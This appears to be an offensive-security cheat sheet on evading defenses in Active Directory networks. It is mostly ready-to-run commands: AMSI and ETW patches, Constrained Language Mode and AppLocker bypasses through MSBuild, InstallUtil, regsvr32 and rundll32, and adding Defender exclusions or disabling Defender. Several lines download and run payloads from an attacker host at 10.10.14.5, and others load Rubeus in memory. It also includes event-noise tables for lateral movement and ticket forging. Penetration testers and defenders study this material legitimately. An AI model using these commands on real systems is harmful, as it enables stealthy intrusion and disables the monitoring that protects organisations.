Defense Evasion in AD Environments
Bypass AMSI, ETW, PowerShell Constrained Language Mode, AppLocker, and Defender. Understand OPSEC considerations for Kerberos vs NTLM, ticket forging noise, and LDAP query footprints.
Sections Defense Evasion in AD Environments
You have a foothold and need to run tools without getting caught. Modern AD environments deploy multiple layers of detection: AMSI scans PowerShell and .NET content, ETW feeds telemetry to EDR, Constrained Language Mode restricts PowerShell, AppLocker blocks unsigned binaries, and Defender catches known tools. This covers bypasses for each layer and OPSEC considerations for AD-specific attacks.
AMSI Bypass
AMSI (Antimalware Scan Interface) scans PowerShell scripts, .NET assemblies, VBA macros, and JavaScript before execution. Bypassing AMSI is usually the first step before loading any offensive tool in memory.
Common AMSI Bypasses
# Matt Graeber's reflection bypass (patching the AmsiScanBuffer function)
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# If the above is signatured, obfuscate the strings
PS C:\> $a = [Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils')
PS C:\> $b = $a.GetField('am'+'siIn'+'itFailed','NonPublic,Static')
PS C:\> $b.SetValue($null,$true)
# Forcing an AMSI error (causes AMSI to fail open)
PS C:\> $mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiSession','NonPublic,Static').SetValue($null,$null)
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static').SetValue($null,[IntPtr]$mem)
AMSI Bypass via Memory Patching
# Patch AmsiScanBuffer to always return AMSI_RESULT_CLEAN
PS C:\> $patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
PS C:\> $addr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
>> (Get-ProcAddress amsi.dll AmsiScanBuffer),
>> [Func[IntPtr, UInt32, IntPtr, IntPtr, [Runtime.InteropServices.Marshal+AMSI_RESULT], Int32]]
>> )
# Full implementation requires P/Invoke for VirtualProtect to make the memory writable
amsi.fail
The amsi.fail website generates obfuscated AMSI bypasses on demand. Each payload is unique to avoid signature detection.
# Generate a bypass from amsi.fail
root@localhost:~# curl -s https://amsi.fail/
# Copy the output and run in PowerShell before loading tools
ETW Bypass
ETW (Event Tracing for Windows) feeds telemetry to EDR solutions. Patching ETW prevents tools like Seatbelt, Rubeus, and SharpHound from being logged by the .NET runtime.
# Patch EtwEventWrite to return immediately
PS C:\> $etw = [Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance')
# This disables ETW for the current PowerShell session
# Alternative: patch ntdll!EtwEventWrite
# Requires P/Invoke to VirtualProtect + write a ret instruction
SharpBlock / ETWBypass
# Inline .NET ETW patch (disables Threat Intelligence ETW provider)
PS C:\> [Reflection.Assembly]::Load([Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://10.10.14.5:8080/etw_bypass_b64.txt')))
PowerShell Constrained Language Mode Bypass
Constrained Language Mode (CLM) restricts PowerShell to basic cmdlets and blocks access to .NET types, COM objects, and custom classes. It is typically enforced via AppLocker or WDAC policies.
Detect CLM
PS C:\> $ExecutionContext.SessionState.LanguageMode
# "FullLanguage" = unrestricted
# "ConstrainedLanguage" = CLM active
CLM Bypasses
# PowerShell version 2 (does not support CLM, but may be removed)
PS C:\> powershell -version 2
# PSByPassCLM - custom runspace that bypasses CLM
PS C:\> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U C:\Temp\PSBypassCLM.exe
# MSBuild inline task (executes C# outside of PowerShell)
PS C:\> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\bypass.csproj
Use Compiled Binaries Instead
When CLM blocks PowerShell tooling, switch to compiled C# alternatives.
| PowerShell Tool | C# Alternative |
|---|---|
| PowerView | SharpView |
| SharpHound.ps1 | SharpHound.exe |
| PowerUp | SharpUp |
| Invoke-Mimikatz | Mimikatz.exe or SafetyKatz |
| PowerView ACL functions | SharpDPAPI, dacledit |
execute-assembly in C2 frameworks. CLM does not affect .exe execution.AppLocker Bypass
AppLocker restricts which executables, scripts, and DLLs can run. It is commonly configured to block execution from user-writable directories like C:\Users\ and C:\Temp\.
Find Writable + Allowed Directories
# Check AppLocker policy
PS C:\> Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
# Common AppLocker-whitelisted writable locations
# C:\Windows\Tasks\
# C:\Windows\Temp\
# C:\Windows\System32\spool\drivers\color\
# C:\Windows\tracing\
# C:\Windows\Microsoft.NET\Framework64\v4.0.30319\
Execution from Whitelisted Paths
# Copy your binary to a whitelisted location
PS C:\> copy C:\Users\svc_backup\Downloads\Rubeus.exe C:\Windows\Tasks\Rubeus.exe
PS C:\> C:\Windows\Tasks\Rubeus.exe triage
LOLBAS (Living Off the Land Binaries)
Use trusted Microsoft binaries to execute arbitrary code.
# MSBuild (compiles and executes inline C# tasks)
PS C:\> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\payload.csproj
# InstallUtil (runs .NET installers, can execute custom code in Uninstall method)
PS C:\> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U C:\Temp\payload.exe
# Regsvr32 (downloads and executes SCT files)
PS C:\> regsvr32 /s /n /u /i:http://10.10.14.5:8080/payload.sct scrobj.dll
# Rundll32 (executes DLL exports)
PS C:\> rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5:8080/shell.ps1')");
Windows Defender Evasion
Check Defender Status
PS C:\> Get-MpComputerStatus | Select-Object AntivirusEnabled, RealTimeProtectionEnabled, IoavProtectionEnabled, AntispywareEnabled, BehaviorMonitorEnabled
# Check exclusions (requires admin)
PS C:\> Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
PS C:\> Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
PS C:\> Get-MpPreference | Select-Object -ExpandProperty ExclusionExtension
Add Defender Exclusions (Requires Admin)
# Exclude a directory
PS C:\> Add-MpPreference -ExclusionPath "C:\Temp"
# Exclude a process
PS C:\> Add-MpPreference -ExclusionProcess "Rubeus.exe"
# Exclude an extension
PS C:\> Add-MpPreference -ExclusionExtension ".exe"
# Disable real-time protection (requires admin, generates alerts)
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true
Evasion Without Disabling Defender
# Use in-memory execution (no file on disk)
PS C:\> $data = (New-Object Net.WebClient).DownloadData('http://10.10.14.5:8080/Rubeus.exe')
PS C:\> [System.Reflection.Assembly]::Load($data)
PS C:\> [Rubeus.Program]::Main(@('triage'))
# Use obfuscated/custom-compiled tools
# Defender signatures target specific byte patterns
# Recompiling from source with minor modifications often bypasses static detection
# Use signed Microsoft binaries (LOLBAS) for initial access
# Then load custom tools into memory
AD Attack OPSEC Comparison
Authentication Protocol Noise
| Action | Protocol | Events Generated | Noise Level |
|---|---|---|---|
| Password spray (Kerberos) | Kerberos | 4768 (AS-REQ) per attempt | Low |
| Password spray (LDAP) | LDAP | 4625 (logon failure) | Medium |
| Password spray (SMB) | NTLM | 4625 + 4776 | Medium-High |
| Kerberoasting (RC4) | Kerberos | 4769 with RC4 encryption | High (anomalous) |
| Kerberoasting (AES) | Kerberos | 4769 with AES encryption | Low (normal traffic) |
| AS-REP roasting | Kerberos | 4768 | Low |
| LDAP enumeration | LDAP | 1644 (if LDAP logging enabled) | Low |
Lateral Movement Noise
| Method | Events on Target | Service Created | Files Written |
|---|---|---|---|
| PsExec | 7045, 4624(3), 4688 | Yes | Yes (binary) |
| WMI | 4624(3), 4688 | No | Output file |
| WinRM | 4624(3), 91, 168 | No | No |
| DCOM | 4624(3), 4688 | No | No |
| smbexec | 7045, 4624(3) | Yes (per command) | Output file |
| atexec | 4624(3), 4698 | No | Output file |
| RDP | 4624(10), 4778 | No | No |
Ticket Forging Noise
| Ticket | AS-REQ Generated | TGS-REQ Generated | PAC Validation |
|---|---|---|---|
| Golden Ticket | No (suspicious) | Yes | Bypassed (forged PAC) |
| Silver Ticket | No | No (goes directly to service) | Bypassed |
| Diamond Ticket | Yes (legitimate) | Yes | Modified after legitimate issuance |
| Sapphire Ticket | Yes (legitimate) | Yes | Legitimate PAC via S4U |
Minimizing Footprint
LDAP Queries
# Instead of querying every object individually, do a single dump and parse offline
root@localhost:~# ldapsearch -x -H ldap://10.10.11.35 -D "svc_backup@corp.local" -w 'P@ssw0rd123' \
-b "DC=corp,DC=local" "(objectClass=*)" > full_dump.txt
# Parse locally
root@localhost:~# grep "sAMAccountName:" full_dump.txt | awk '{print $2}' > users.txt
BloodHound Collection
# Use DCOnly to avoid touching workstations
PS C:\> .\SharpHound.exe -c DCOnly
# Use Stealth mode
PS C:\> .\SharpHound.exe -c All --stealth
# Throttle and jitter
PS C:\> .\SharpHound.exe -c All --jitter 30 --throttle 2000
Credential Use
# Prefer Kerberos over NTLM (AES keys > RC4 > NTLM hash)
root@localhost:~# impacket-getTGT corp.local/svc_backup -aesKey 4a3f2b1c... -dc-ip 10.10.11.35
root@localhost:~# export KRB5CCNAME=svc_backup.ccache
# All subsequent commands use Kerberos
root@localhost:~# impacket-psexec corp.local/svc_backup@ws01.corp.local -k -no-pass
# Avoid using the same account for multiple lateral movement hops
# Each hop should ideally use a different credential